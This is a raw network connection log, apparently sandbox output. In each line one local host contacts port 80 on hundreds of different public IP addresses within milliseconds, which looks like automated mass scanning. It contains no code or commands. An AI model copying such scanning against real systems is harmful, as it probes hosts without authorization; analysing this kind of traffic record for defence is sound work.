Mar 21, 2024 05:16:56.425204039 CET	45650	80	192.168.2.13	82.150.208.99
Mar 21, 2024 05:16:56.425209999 CET	45650	80	192.168.2.13	82.25.58.219
Mar 21, 2024 05:16:56.425214052 CET	45650	80	192.168.2.13	200.68.175.187
Mar 21, 2024 05:16:56.425230980 CET	45650	80	192.168.2.13	82.221.39.219
Mar 21, 2024 05:16:56.425230980 CET	45650	80	192.168.2.13	83.181.51.238
Mar 21, 2024 05:16:56.425230980 CET	45650	80	192.168.2.13	169.237.77.8
Mar 21, 2024 05:16:56.425232887 CET	45650	80	192.168.2.13	80.47.101.77
Mar 21, 2024 05:16:56.425234079 CET	45650	80	192.168.2.13	80.190.168.34
Mar 21, 2024 05:16:56.425235987 CET	45650	80	192.168.2.13	83.253.178.29
Mar 21, 2024 05:16:56.425261021 CET	45650	80	192.168.2.13	213.229.171.251
Mar 21, 2024 05:16:56.425263882 CET	45650	80	192.168.2.13	80.127.169.214
Mar 21, 2024 05:16:56.425266027 CET	45650	80	192.168.2.13	82.190.181.34
Mar 21, 2024 05:16:56.425266027 CET	45650	80	192.168.2.13	82.61.177.12
Mar 21, 2024 05:16:56.425268888 CET	45650	80	192.168.2.13	83.101.67.152
Mar 21, 2024 05:16:56.425268888 CET	45650	80	192.168.2.13	206.138.3.58
Mar 21, 2024 05:16:56.425282001 CET	45650	80	192.168.2.13	178.237.15.236
Mar 21, 2024 05:16:56.425282955 CET	45650	80	192.168.2.13	213.229.228.255
Mar 21, 2024 05:16:56.425287962 CET	45650	80	192.168.2.13	169.26.88.161
Mar 21, 2024 05:16:56.425319910 CET	45650	80	192.168.2.13	169.108.178.199
Mar 21, 2024 05:16:56.425335884 CET	45650	80	192.168.2.13	213.150.145.125
Mar 21, 2024 05:16:56.425340891 CET	45650	80	192.168.2.13	213.208.238.56
Mar 21, 2024 05:16:56.425343990 CET	45650	80	192.168.2.13	213.15.79.103
Mar 21, 2024 05:16:56.425344944 CET	45650	80	192.168.2.13	181.104.200.3
Mar 21, 2024 05:16:56.425385952 CET	45650	80	192.168.2.13	181.109.26.219
Mar 21, 2024 05:16:56.425396919 CET	45650	80	192.168.2.13	200.7.42.80
Mar 21, 2024 05:16:56.425398111 CET	45650	80	192.168.2.13	200.27.19.227
Mar 21, 2024 05:16:56.425398111 CET	45650	80	192.168.2.13	178.226.197.120
Mar 21, 2024 05:16:56.425398111 CET	45650	80	192.168.2.13	206.107.184.88
Mar 21, 2024 05:16:56.425401926 CET	45650	80	192.168.2.13	86.91.228.112
Mar 21, 2024 05:16:56.425422907 CET	45650	80	192.168.2.13	80.40.55.188
Mar 21, 2024 05:16:56.425431013 CET	45650	80	192.168.2.13	83.79.140.172
Mar 21, 2024 05:16:56.425434113 CET	45650	80	192.168.2.13	181.131.121.90
Mar 21, 2024 05:16:56.425434113 CET	45650	80	192.168.2.13	82.217.176.84
Mar 21, 2024 05:16:56.425436974 CET	45650	80	192.168.2.13	83.119.66.122
Mar 21, 2024 05:16:56.425440073 CET	45650	80	192.168.2.13	82.229.33.33
Mar 21, 2024 05:16:56.425435066 CET	45650	80	192.168.2.13	181.33.146.122
Mar 21, 2024 05:16:56.425435066 CET	45650	80	192.168.2.13	213.75.162.121
Mar 21, 2024 05:16:56.425455093 CET	45650	80	192.168.2.13	206.108.217.72
Mar 21, 2024 05:16:56.425457954 CET	45650	80	192.168.2.13	80.8.105.248
Mar 21, 2024 05:16:56.425457954 CET	45650	80	192.168.2.13	83.231.112.48
Mar 21, 2024 05:16:56.425457954 CET	45650	80	192.168.2.13	181.238.199.44
Mar 21, 2024 05:16:56.425462008 CET	45650	80	192.168.2.13	80.62.38.65
Mar 21, 2024 05:16:56.425462961 CET	45650	80	192.168.2.13	83.106.149.158
Mar 21, 2024 05:16:56.425474882 CET	45650	80	192.168.2.13	82.105.229.196
Mar 21, 2024 05:16:56.425474882 CET	45650	80	192.168.2.13	178.161.18.140
Mar 21, 2024 05:16:56.425479889 CET	45650	80	192.168.2.13	82.0.160.231
Mar 21, 2024 05:16:56.425501108 CET	45650	80	192.168.2.13	178.75.153.128
Mar 21, 2024 05:16:56.425501108 CET	45650	80	192.168.2.13	80.27.68.37
Mar 21, 2024 05:16:56.425518036 CET	45650	80	192.168.2.13	82.132.86.216
Mar 21, 2024 05:16:56.425543070 CET	45650	80	192.168.2.13	206.142.147.129
Mar 21, 2024 05:16:56.425571918 CET	45650	80	192.168.2.13	178.176.184.237
Mar 21, 2024 05:16:56.425573111 CET	45650	80	192.168.2.13	213.188.42.189
Mar 21, 2024 05:16:56.425575018 CET	45650	80	192.168.2.13	178.35.161.40
Mar 21, 2024 05:16:56.425576925 CET	45650	80	192.168.2.13	200.106.34.153
Mar 21, 2024 05:16:56.425590038 CET	45650	80	192.168.2.13	178.91.221.187
Mar 21, 2024 05:16:56.425590038 CET	45650	80	192.168.2.13	82.12.241.85
Mar 21, 2024 05:16:56.425600052 CET	45650	80	192.168.2.13	200.1.219.255
Mar 21, 2024 05:16:56.425601006 CET	45650	80	192.168.2.13	169.201.131.12
Mar 21, 2024 05:16:56.425601959 CET	45650	80	192.168.2.13	213.43.108.88
Mar 21, 2024 05:16:56.425616980 CET	45650	80	192.168.2.13	82.20.145.230
Mar 21, 2024 05:16:56.425621033 CET	45650	80	192.168.2.13	82.161.220.49
Mar 21, 2024 05:16:56.425628901 CET	45650	80	192.168.2.13	206.83.242.60
Mar 21, 2024 05:16:56.425632000 CET	45650	80	192.168.2.13	181.56.118.106
Mar 21, 2024 05:16:56.425637007 CET	45650	80	192.168.2.13	82.24.172.216
Mar 21, 2024 05:16:56.425657988 CET	45650	80	192.168.2.13	213.113.142.139
Mar 21, 2024 05:16:56.425668955 CET	45650	80	192.168.2.13	178.21.2.86
Mar 21, 2024 05:16:56.425673008 CET	45650	80	192.168.2.13	169.60.17.117
Mar 21, 2024 05:16:56.425673008 CET	45650	80	192.168.2.13	83.78.245.249
Mar 21, 2024 05:16:56.425673962 CET	45650	80	192.168.2.13	178.71.34.25
Mar 21, 2024 05:16:56.425673962 CET	45650	80	192.168.2.13	169.110.0.165
Mar 21, 2024 05:16:56.425678968 CET	45650	80	192.168.2.13	200.20.59.220
Mar 21, 2024 05:16:56.425678968 CET	45650	80	192.168.2.13	169.199.164.63
Mar 21, 2024 05:16:56.425683975 CET	45650	80	192.168.2.13	213.115.214.86
Mar 21, 2024 05:16:56.425684929 CET	45650	80	192.168.2.13	206.218.182.210
Mar 21, 2024 05:16:56.425688982 CET	45650	80	192.168.2.13	181.233.190.103
Mar 21, 2024 05:16:56.425688982 CET	45650	80	192.168.2.13	86.179.214.242
Mar 21, 2024 05:16:56.425694942 CET	45650	80	192.168.2.13	206.43.98.245
Mar 21, 2024 05:16:56.425695896 CET	45650	80	192.168.2.13	200.144.127.115
Mar 21, 2024 05:16:56.425704002 CET	45650	80	192.168.2.13	86.69.135.62
Mar 21, 2024 05:16:56.425709963 CET	45650	80	192.168.2.13	206.80.165.198
Mar 21, 2024 05:16:56.425714016 CET	45650	80	192.168.2.13	86.4.14.28
Mar 21, 2024 05:16:56.425714016 CET	45650	80	192.168.2.13	213.31.45.131
Mar 21, 2024 05:16:56.425721884 CET	45650	80	192.168.2.13	181.13.67.157
Mar 21, 2024 05:16:56.425731897 CET	45650	80	192.168.2.13	213.179.59.80
Mar 21, 2024 05:16:56.425731897 CET	45650	80	192.168.2.13	83.253.145.217
Mar 21, 2024 05:16:56.425738096 CET	45650	80	192.168.2.13	213.184.156.140
Mar 21, 2024 05:16:56.425749063 CET	45650	80	192.168.2.13	83.243.242.192
Mar 21, 2024 05:16:56.425749063 CET	45650	80	192.168.2.13	181.89.241.188
Mar 21, 2024 05:16:56.425749063 CET	45650	80	192.168.2.13	82.175.51.157
Mar 21, 2024 05:16:56.425749063 CET	45650	80	192.168.2.13	80.219.221.172
Mar 21, 2024 05:16:56.425755024 CET	45650	80	192.168.2.13	82.11.93.192
Mar 21, 2024 05:16:56.425755978 CET	45650	80	192.168.2.13	86.229.29.93
Mar 21, 2024 05:16:56.425760031 CET	45650	80	192.168.2.13	206.252.177.129
Mar 21, 2024 05:16:56.425776958 CET	45650	80	192.168.2.13	82.250.7.245
Mar 21, 2024 05:16:56.425785065 CET	45650	80	192.168.2.13	178.49.159.105
Mar 21, 2024 05:16:56.425785065 CET	45650	80	192.168.2.13	200.151.66.37
Mar 21, 2024 05:16:56.425786018 CET	45650	80	192.168.2.13	86.24.164.13
Mar 21, 2024 05:16:56.425787926 CET	45650	80	192.168.2.13	169.185.220.66
Mar 21, 2024 05:16:56.425797939 CET	45650	80	192.168.2.13	80.132.60.192
Mar 21, 2024 05:16:56.425800085 CET	45650	80	192.168.2.13	83.204.224.128
Mar 21, 2024 05:16:56.425803900 CET	45650	80	192.168.2.13	169.18.175.204
Mar 21, 2024 05:16:56.425806999 CET	45650	80	192.168.2.13	80.199.224.45
Mar 21, 2024 05:16:56.425832033 CET	45650	80	192.168.2.13	80.144.248.255
Mar 21, 2024 05:16:56.425832033 CET	45650	80	192.168.2.13	213.33.146.253
Mar 21, 2024 05:16:56.425832987 CET	45650	80	192.168.2.13	82.207.194.142
Mar 21, 2024 05:16:56.425833941 CET	45650	80	192.168.2.13	169.21.239.51
Mar 21, 2024 05:16:56.425833941 CET	45650	80	192.168.2.13	200.223.251.55
Mar 21, 2024 05:16:56.425833941 CET	45650	80	192.168.2.13	83.243.100.55
Mar 21, 2024 05:16:56.425836086 CET	45650	80	192.168.2.13	200.193.63.137
Mar 21, 2024 05:16:56.425854921 CET	45650	80	192.168.2.13	86.4.152.55
Mar 21, 2024 05:16:56.425856113 CET	45650	80	192.168.2.13	169.137.242.50
Mar 21, 2024 05:16:56.425854921 CET	45650	80	192.168.2.13	83.82.68.77
Mar 21, 2024 05:16:56.425862074 CET	45650	80	192.168.2.13	82.10.27.111
Mar 21, 2024 05:16:56.425872087 CET	45650	80	192.168.2.13	200.89.154.136
Mar 21, 2024 05:16:56.425872087 CET	45650	80	192.168.2.13	86.75.142.205
Mar 21, 2024 05:16:56.425889015 CET	45650	80	192.168.2.13	181.130.184.107
Mar 21, 2024 05:16:56.425889969 CET	45650	80	192.168.2.13	213.249.160.109
Mar 21, 2024 05:16:56.425905943 CET	45650	80	192.168.2.13	82.163.110.202
Mar 21, 2024 05:16:56.425908089 CET	45650	80	192.168.2.13	213.198.91.100
Mar 21, 2024 05:16:56.425911903 CET	45650	80	192.168.2.13	169.248.119.47
Mar 21, 2024 05:16:56.425913095 CET	45650	80	192.168.2.13	86.250.26.181
Mar 21, 2024 05:16:56.425918102 CET	45650	80	192.168.2.13	86.79.141.237
Mar 21, 2024 05:16:56.425924063 CET	45650	80	192.168.2.13	206.167.125.94
Mar 21, 2024 05:16:56.425932884 CET	45650	80	192.168.2.13	200.22.249.177
Mar 21, 2024 05:16:56.425935984 CET	45650	80	192.168.2.13	206.228.147.160
Mar 21, 2024 05:16:56.425950050 CET	45650	80	192.168.2.13	82.207.222.88
Mar 21, 2024 05:16:56.425964117 CET	45650	80	192.168.2.13	80.109.95.49
Mar 21, 2024 05:16:56.425964117 CET	45650	80	192.168.2.13	178.34.117.0
Mar 21, 2024 05:16:56.425973892 CET	45650	80	192.168.2.13	169.125.203.92
Mar 21, 2024 05:16:56.425976992 CET	45650	80	192.168.2.13	80.130.65.194
Mar 21, 2024 05:16:56.425985098 CET	45650	80	192.168.2.13	80.211.140.18
Mar 21, 2024 05:16:56.425987005 CET	45650	80	192.168.2.13	169.99.172.137
Mar 21, 2024 05:16:56.425992966 CET	45650	80	192.168.2.13	178.133.60.165
Mar 21, 2024 05:16:56.426001072 CET	45650	80	192.168.2.13	213.75.134.55
Mar 21, 2024 05:16:56.426029921 CET	45650	80	192.168.2.13	169.151.215.225
Mar 21, 2024 05:16:56.426037073 CET	45650	80	192.168.2.13	178.105.142.176
Mar 21, 2024 05:16:56.426039934 CET	45650	80	192.168.2.13	206.76.184.81
Mar 21, 2024 05:16:56.426058054 CET	45650	80	192.168.2.13	206.128.54.214
Mar 21, 2024 05:16:56.426074028 CET	45650	80	192.168.2.13	200.196.60.60
Mar 21, 2024 05:16:56.426074028 CET	45650	80	192.168.2.13	206.233.31.227
Mar 21, 2024 05:16:56.426079035 CET	45650	80	192.168.2.13	178.223.174.249
Mar 21, 2024 05:16:56.426086903 CET	45650	80	192.168.2.13	178.82.200.39
Mar 21, 2024 05:16:56.426095009 CET	45650	80	192.168.2.13	80.189.6.25
Mar 21, 2024 05:16:56.426100016 CET	45650	80	192.168.2.13	169.43.65.186
Mar 21, 2024 05:16:56.426125050 CET	45650	80	192.168.2.13	200.246.62.16
Mar 21, 2024 05:16:56.426125050 CET	45650	80	192.168.2.13	213.141.7.218
Mar 21, 2024 05:16:56.426131010 CET	45650	80	192.168.2.13	169.39.11.157
Mar 21, 2024 05:16:56.426140070 CET	45650	80	192.168.2.13	200.138.64.83
Mar 21, 2024 05:16:56.426141024 CET	45650	80	192.168.2.13	213.54.5.116
Mar 21, 2024 05:16:56.426142931 CET	45650	80	192.168.2.13	200.255.1.27
Mar 21, 2024 05:16:56.426142931 CET	45650	80	192.168.2.13	86.208.37.176
Mar 21, 2024 05:16:56.426145077 CET	45650	80	192.168.2.13	83.247.125.237
Mar 21, 2024 05:16:56.426145077 CET	45650	80	192.168.2.13	169.146.62.215
Mar 21, 2024 05:16:56.426146030 CET	45650	80	192.168.2.13	82.197.135.231
Mar 21, 2024 05:16:56.426151037 CET	45650	80	192.168.2.13	200.84.4.4
Mar 21, 2024 05:16:56.426151991 CET	45650	80	192.168.2.13	181.155.249.150
Mar 21, 2024 05:16:56.426184893 CET	45650	80	192.168.2.13	200.73.206.130
Mar 21, 2024 05:16:56.426186085 CET	45650	80	192.168.2.13	83.146.65.104
Mar 21, 2024 05:16:56.426203966 CET	45650	80	192.168.2.13	82.72.88.5
Mar 21, 2024 05:16:56.426203966 CET	45650	80	192.168.2.13	181.197.7.237
Mar 21, 2024 05:16:56.426207066 CET	45650	80	192.168.2.13	86.112.221.11
Mar 21, 2024 05:16:56.426229000 CET	45650	80	192.168.2.13	206.95.184.234
Mar 21, 2024 05:16:56.426234961 CET	45650	80	192.168.2.13	206.77.59.155
Mar 21, 2024 05:16:56.426234961 CET	45650	80	192.168.2.13	86.88.215.238
Mar 21, 2024 05:16:56.426234961 CET	45650	80	192.168.2.13	206.188.41.230
Mar 21, 2024 05:16:56.426245928 CET	45650	80	192.168.2.13	200.193.152.174
Mar 21, 2024 05:16:56.426251888 CET	45650	80	192.168.2.13	169.97.196.214
Mar 21, 2024 05:16:56.426254034 CET	45650	80	192.168.2.13	86.151.203.89
Mar 21, 2024 05:16:56.426266909 CET	45650	80	192.168.2.13	181.75.18.78
Mar 21, 2024 05:16:56.426287889 CET	45650	80	192.168.2.13	178.134.220.142
Mar 21, 2024 05:16:56.426311970 CET	45650	80	192.168.2.13	80.245.52.47
Mar 21, 2024 05:16:56.426321030 CET	45650	80	192.168.2.13	206.172.181.3
Mar 21, 2024 05:16:56.426332951 CET	45650	80	192.168.2.13	206.40.243.102
Mar 21, 2024 05:16:56.426336050 CET	45650	80	192.168.2.13	80.194.182.72
Mar 21, 2024 05:16:56.426351070 CET	45650	80	192.168.2.13	213.60.202.202
Mar 21, 2024 05:16:56.426358938 CET	45650	80	192.168.2.13	80.125.114.121
Mar 21, 2024 05:16:56.426358938 CET	45650	80	192.168.2.13	206.217.60.175
Mar 21, 2024 05:16:56.426362038 CET	45650	80	192.168.2.13	200.103.191.245
Mar 21, 2024 05:16:56.426362038 CET	45650	80	192.168.2.13	86.31.51.195
Mar 21, 2024 05:16:56.426379919 CET	45650	80	192.168.2.13	82.99.0.246
Mar 21, 2024 05:16:56.426379919 CET	45650	80	192.168.2.13	181.105.201.55
Mar 21, 2024 05:16:56.426379919 CET	45650	80	192.168.2.13	83.235.251.114
Mar 21, 2024 05:16:56.426383018 CET	45650	80	192.168.2.13	80.4.135.20
Mar 21, 2024 05:16:56.426379919 CET	45650	80	192.168.2.13	169.34.85.48
Mar 21, 2024 05:16:56.426387072 CET	45650	80	192.168.2.13	83.230.71.174
Mar 21, 2024 05:16:56.426387072 CET	45650	80	192.168.2.13	82.164.69.130
Mar 21, 2024 05:16:56.426390886 CET	45650	80	192.168.2.13	169.61.148.139
Mar 21, 2024 05:16:56.426392078 CET	45650	80	192.168.2.13	181.23.154.15
Mar 21, 2024 05:16:56.426402092 CET	45650	80	192.168.2.13	213.56.61.114
Mar 21, 2024 05:16:56.426428080 CET	45650	80	192.168.2.13	213.37.113.202
Mar 21, 2024 05:16:56.426455975 CET	45650	80	192.168.2.13	86.37.23.108
Mar 21, 2024 05:16:56.426455975 CET	45650	80	192.168.2.13	213.101.225.195
Mar 21, 2024 05:16:56.426474094 CET	45650	80	192.168.2.13	86.28.36.139
Mar 21, 2024 05:16:56.426476002 CET	45650	80	192.168.2.13	169.208.31.85
Mar 21, 2024 05:16:56.426500082 CET	45650	80	192.168.2.13	86.125.138.198
Mar 21, 2024 05:16:56.426506042 CET	45650	80	192.168.2.13	206.76.179.228
Mar 21, 2024 05:16:56.426507950 CET	45650	80	192.168.2.13	169.32.235.95
Mar 21, 2024 05:16:56.426507950 CET	45650	80	192.168.2.13	169.129.201.20
Mar 21, 2024 05:16:56.426532030 CET	45650	80	192.168.2.13	86.231.246.172
Mar 21, 2024 05:16:56.426532030 CET	45650	80	192.168.2.13	178.62.187.71
Mar 21, 2024 05:16:56.426542997 CET	45650	80	192.168.2.13	82.62.235.100
Mar 21, 2024 05:16:56.426542997 CET	45650	80	192.168.2.13	82.108.222.122
Mar 21, 2024 05:16:56.426544905 CET	45650	80	192.168.2.13	169.217.100.119
Mar 21, 2024 05:16:56.426548004 CET	45650	80	192.168.2.13	213.175.4.76
Mar 21, 2024 05:16:56.426565886 CET	45650	80	192.168.2.13	169.147.110.16
Mar 21, 2024 05:16:56.426565886 CET	45650	80	192.168.2.13	80.251.30.213
Mar 21, 2024 05:16:56.426597118 CET	45650	80	192.168.2.13	169.54.36.81
Mar 21, 2024 05:16:56.426597118 CET	45650	80	192.168.2.13	86.103.124.40
Mar 21, 2024 05:16:56.426600933 CET	45650	80	192.168.2.13	213.24.107.251
Mar 21, 2024 05:16:56.426600933 CET	45650	80	192.168.2.13	213.198.106.149
Mar 21, 2024 05:16:56.426619053 CET	45650	80	192.168.2.13	200.87.220.124
Mar 21, 2024 05:16:56.426619053 CET	45650	80	192.168.2.13	83.225.170.61
Mar 21, 2024 05:16:56.426620007 CET	45650	80	192.168.2.13	206.116.251.233
Mar 21, 2024 05:16:56.426626921 CET	45650	80	192.168.2.13	83.170.238.26
Mar 21, 2024 05:16:56.426626921 CET	45650	80	192.168.2.13	200.17.90.48
Mar 21, 2024 05:16:56.426626921 CET	45650	80	192.168.2.13	206.67.40.174
Mar 21, 2024 05:16:56.426626921 CET	45650	80	192.168.2.13	178.163.64.22
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	82.139.229.119
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	206.198.136.80
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	200.196.245.79
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	80.142.138.100
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	86.120.235.167
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	86.122.201.224
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	83.216.1.17
Mar 21, 2024 05:16:56.426637888 CET	45650	80	192.168.2.13	206.125.185.159
Mar 21, 2024 05:16:56.426657915 CET	45650	80	192.168.2.13	169.113.41.12
Mar 21, 2024 05:16:56.426657915 CET	45650	80	192.168.2.13	86.210.151.87
Mar 21, 2024 05:16:56.426666975 CET	45650	80	192.168.2.13	206.66.133.111
Mar 21, 2024 05:16:56.426666975 CET	45650	80	192.168.2.13	206.114.56.33
Mar 21, 2024 05:16:56.426671982 CET	45650	80	192.168.2.13	213.231.4.27
Mar 21, 2024 05:16:56.426677942 CET	45650	80	192.168.2.13	83.108.214.173
Mar 21, 2024 05:16:56.426681995 CET	45650	80	192.168.2.13	181.114.83.11
Mar 21, 2024 05:16:56.426683903 CET	45650	80	192.168.2.13	83.214.194.108
Mar 21, 2024 05:16:56.426683903 CET	45650	80	192.168.2.13	169.194.7.60
Mar 21, 2024 05:16:56.426683903 CET	45650	80	192.168.2.13	178.172.48.132
Mar 21, 2024 05:16:56.426691055 CET	45650	80	192.168.2.13	213.18.31.53
Mar 21, 2024 05:16:56.426698923 CET	45650	80	192.168.2.13	80.120.5.140
Mar 21, 2024 05:16:56.426703930 CET	45650	80	192.168.2.13	178.16.41.88
Mar 21, 2024 05:16:56.426712036 CET	45650	80	192.168.2.13	80.32.64.217
Mar 21, 2024 05:16:56.426717997 CET	45650	80	192.168.2.13	200.194.250.13
Mar 21, 2024 05:16:56.426718950 CET	45650	80	192.168.2.13	206.121.212.197
Mar 21, 2024 05:16:56.426736116 CET	45650	80	192.168.2.13	213.190.212.247
Mar 21, 2024 05:16:56.426738024 CET	45650	80	192.168.2.13	86.191.153.139
Mar 21, 2024 05:16:56.426738977 CET	45650	80	192.168.2.13	86.198.113.63
Mar 21, 2024 05:16:56.426745892 CET	45650	80	192.168.2.13	200.244.202.244
Mar 21, 2024 05:16:56.426774979 CET	45650	80	192.168.2.13	206.69.109.81
Mar 21, 2024 05:16:56.426776886 CET	45650	80	192.168.2.13	82.130.22.202
Mar 21, 2024 05:16:56.426776886 CET	45650	80	192.168.2.13	86.24.200.240
Mar 21, 2024 05:16:56.426785946 CET	45650	80	192.168.2.13	213.117.157.210
Mar 21, 2024 05:16:56.426785946 CET	45650	80	192.168.2.13	86.122.180.91
Mar 21, 2024 05:16:56.426785946 CET	45650	80	192.168.2.13	82.47.127.100
Mar 21, 2024 05:16:56.426796913 CET	45650	80	192.168.2.13	82.13.44.255
Mar 21, 2024 05:16:56.426799059 CET	45650	80	192.168.2.13	200.230.34.153
Mar 21, 2024 05:16:56.426808119 CET	45650	80	192.168.2.13	82.195.212.157
Mar 21, 2024 05:16:56.426808119 CET	45650	80	192.168.2.13	82.225.151.56
Mar 21, 2024 05:16:56.426815033 CET	45650	80	192.168.2.13	178.145.190.157
Mar 21, 2024 05:16:56.426819086 CET	45650	80	192.168.2.13	82.249.58.246
Mar 21, 2024 05:16:56.426825047 CET	45650	80	192.168.2.13	82.57.67.128
Mar 21, 2024 05:16:56.426825047 CET	45650	80	192.168.2.13	178.248.11.150
Mar 21, 2024 05:16:56.426836014 CET	45650	80	192.168.2.13	178.222.174.206
Mar 21, 2024 05:16:56.426862955 CET	45650	80	192.168.2.13	181.6.231.153
Mar 21, 2024 05:16:56.426870108 CET	45650	80	192.168.2.13	213.33.214.48
Mar 21, 2024 05:16:56.426871061 CET	45650	80	192.168.2.13	82.6.43.223
Mar 21, 2024 05:16:56.426872015 CET	45650	80	192.168.2.13	178.218.252.148
Mar 21, 2024 05:16:56.426870108 CET	45650	80	192.168.2.13	80.40.232.18
Mar 21, 2024 05:16:56.426871061 CET	45650	80	192.168.2.13	169.163.25.31
Mar 21, 2024 05:16:56.426870108 CET	45650	80	192.168.2.13	213.29.190.39
Mar 21, 2024 05:16:56.426882982 CET	45650	80	192.168.2.13	200.225.201.207
Mar 21, 2024 05:16:56.426888943 CET	45650	80	192.168.2.13	82.167.238.176
Mar 21, 2024 05:16:56.426920891 CET	45650	80	192.168.2.13	206.47.19.160
Mar 21, 2024 05:16:56.426920891 CET	45650	80	192.168.2.13	169.136.251.228
Mar 21, 2024 05:16:56.426920891 CET	45650	80	192.168.2.13	200.170.0.178
Mar 21, 2024 05:16:56.426920891 CET	45650	80	192.168.2.13	169.22.49.76
Mar 21, 2024 05:16:56.426924944 CET	45650	80	192.168.2.13	181.131.57.174
Mar 21, 2024 05:16:56.426925898 CET	45650	80	192.168.2.13	178.214.86.61
Mar 21, 2024 05:16:56.426933050 CET	45650	80	192.168.2.13	178.144.206.254
Mar 21, 2024 05:16:56.426943064 CET	45650	80	192.168.2.13	206.19.199.59
Mar 21, 2024 05:16:56.426944017 CET	45650	80	192.168.2.13	82.16.28.248
Mar 21, 2024 05:16:56.426944017 CET	45650	80	192.168.2.13	178.148.99.96
Mar 21, 2024 05:16:56.426955938 CET	45650	80	192.168.2.13	181.161.249.198
Mar 21, 2024 05:16:56.426955938 CET	45650	80	192.168.2.13	86.58.177.234
Mar 21, 2024 05:16:56.426956892 CET	45650	80	192.168.2.13	200.78.90.47
Mar 21, 2024 05:16:56.426970959 CET	45650	80	192.168.2.13	83.238.226.151
Mar 21, 2024 05:16:56.426974058 CET	45650	80	192.168.2.13	86.110.212.56
Mar 21, 2024 05:16:56.426990032 CET	45650	80	192.168.2.13	178.173.103.250
Mar 21, 2024 05:16:56.426990032 CET	45650	80	192.168.2.13	200.15.16.26
Mar 21, 2024 05:16:56.426996946 CET	45650	80	192.168.2.13	83.26.38.110
Mar 21, 2024 05:16:56.426996946 CET	45650	80	192.168.2.13	82.106.26.108
Mar 21, 2024 05:16:56.427002907 CET	45650	80	192.168.2.13	181.66.38.3
Mar 21, 2024 05:16:56.427004099 CET	45650	80	192.168.2.13	206.180.83.63
Mar 21, 2024 05:16:56.427010059 CET	45650	80	192.168.2.13	169.26.127.17
Mar 21, 2024 05:16:56.427033901 CET	45650	80	192.168.2.13	200.159.159.34
Mar 21, 2024 05:16:56.427033901 CET	45650	80	192.168.2.13	80.74.52.47
Mar 21, 2024 05:16:56.427051067 CET	45650	80	192.168.2.13	181.88.89.131
Mar 21, 2024 05:16:56.427056074 CET	45650	80	192.168.2.13	213.81.3.2
Mar 21, 2024 05:16:56.427056074 CET	45650	80	192.168.2.13	82.123.133.251
Mar 21, 2024 05:16:56.427056074 CET	45650	80	192.168.2.13	169.89.68.46
Mar 21, 2024 05:16:56.427058935 CET	45650	80	192.168.2.13	169.138.78.26
Mar 21, 2024 05:16:56.427056074 CET	45650	80	192.168.2.13	213.108.240.232
Mar 21, 2024 05:16:56.427074909 CET	45650	80	192.168.2.13	200.10.22.210
Mar 21, 2024 05:16:56.427083015 CET	45650	80	192.168.2.13	181.113.24.116
Mar 21, 2024 05:16:56.427087069 CET	45650	80	192.168.2.13	178.127.133.143
Mar 21, 2024 05:16:56.427088976 CET	45650	80	192.168.2.13	213.193.137.51
Mar 21, 2024 05:16:56.427089930 CET	45650	80	192.168.2.13	206.210.77.59
Mar 21, 2024 05:16:56.427093029 CET	45650	80	192.168.2.13	86.129.177.132
Mar 21, 2024 05:16:56.427093029 CET	45650	80	192.168.2.13	82.245.144.247
Mar 21, 2024 05:16:56.427098989 CET	45650	80	192.168.2.13	82.243.228.224
Mar 21, 2024 05:16:56.427104950 CET	45650	80	192.168.2.13	169.76.229.124
Mar 21, 2024 05:16:56.427104950 CET	45650	80	192.168.2.13	178.219.181.68
Mar 21, 2024 05:16:56.427125931 CET	45650	80	192.168.2.13	206.197.186.168
Mar 21, 2024 05:16:56.427125931 CET	45650	80	192.168.2.13	82.115.46.36
Mar 21, 2024 05:16:56.427125931 CET	45650	80	192.168.2.13	80.131.4.194
Mar 21, 2024 05:16:56.427125931 CET	45650	80	192.168.2.13	181.164.160.208
Mar 21, 2024 05:16:56.427125931 CET	45650	80	192.168.2.13	80.14.143.241
Mar 21, 2024 05:16:56.427126884 CET	45650	80	192.168.2.13	86.189.142.157
Mar 21, 2024 05:16:56.427128077 CET	45650	80	192.168.2.13	83.198.24.110
Mar 21, 2024 05:16:56.427129984 CET	45650	80	192.168.2.13	213.206.30.226
Mar 21, 2024 05:16:56.427130938 CET	45650	80	192.168.2.13	206.131.121.201
Mar 21, 2024 05:16:56.427129984 CET	45650	80	192.168.2.13	206.251.112.252
Mar 21, 2024 05:16:56.427144051 CET	45650	80	192.168.2.13	86.40.18.159
Mar 21, 2024 05:16:56.427153111 CET	45650	80	192.168.2.13	181.230.54.141
Mar 21, 2024 05:16:56.427156925 CET	45650	80	192.168.2.13	83.168.192.69
Mar 21, 2024 05:16:56.427170992 CET	45650	80	192.168.2.13	206.245.205.175
Mar 21, 2024 05:16:56.427179098 CET	45650	80	192.168.2.13	213.16.229.96
Mar 21, 2024 05:16:56.427182913 CET	45650	80	192.168.2.13	213.51.20.212
Mar 21, 2024 05:16:56.427184105 CET	45650	80	192.168.2.13	206.112.198.187
Mar 21, 2024 05:16:56.427187920 CET	45650	80	192.168.2.13	83.151.193.202
Mar 21, 2024 05:16:56.427194118 CET	45650	80	192.168.2.13	206.81.183.176
Mar 21, 2024 05:16:56.427223921 CET	45650	80	192.168.2.13	181.26.64.205
Mar 21, 2024 05:16:56.427223921 CET	45650	80	192.168.2.13	169.107.41.215
Mar 21, 2024 05:16:56.427228928 CET	45650	80	192.168.2.13	82.91.144.164
Mar 21, 2024 05:16:56.427237988 CET	45650	80	192.168.2.13	178.112.59.229
Mar 21, 2024 05:16:56.427237988 CET	45650	80	192.168.2.13	83.227.50.22
Mar 21, 2024 05:16:56.427243948 CET	45650	80	192.168.2.13	80.48.157.109
Mar 21, 2024 05:16:56.427253008 CET	45650	80	192.168.2.13	206.207.59.72
Mar 21, 2024 05:16:56.427263021 CET	45650	80	192.168.2.13	181.232.131.29
Mar 21, 2024 05:16:56.427273989 CET	45650	80	192.168.2.13	206.112.103.60
Mar 21, 2024 05:16:56.427277088 CET	45650	80	192.168.2.13	82.247.242.124
Mar 21, 2024 05:16:56.427277088 CET	45650	80	192.168.2.13	86.208.112.109
Mar 21, 2024 05:16:56.427284002 CET	45650	80	192.168.2.13	83.73.19.68
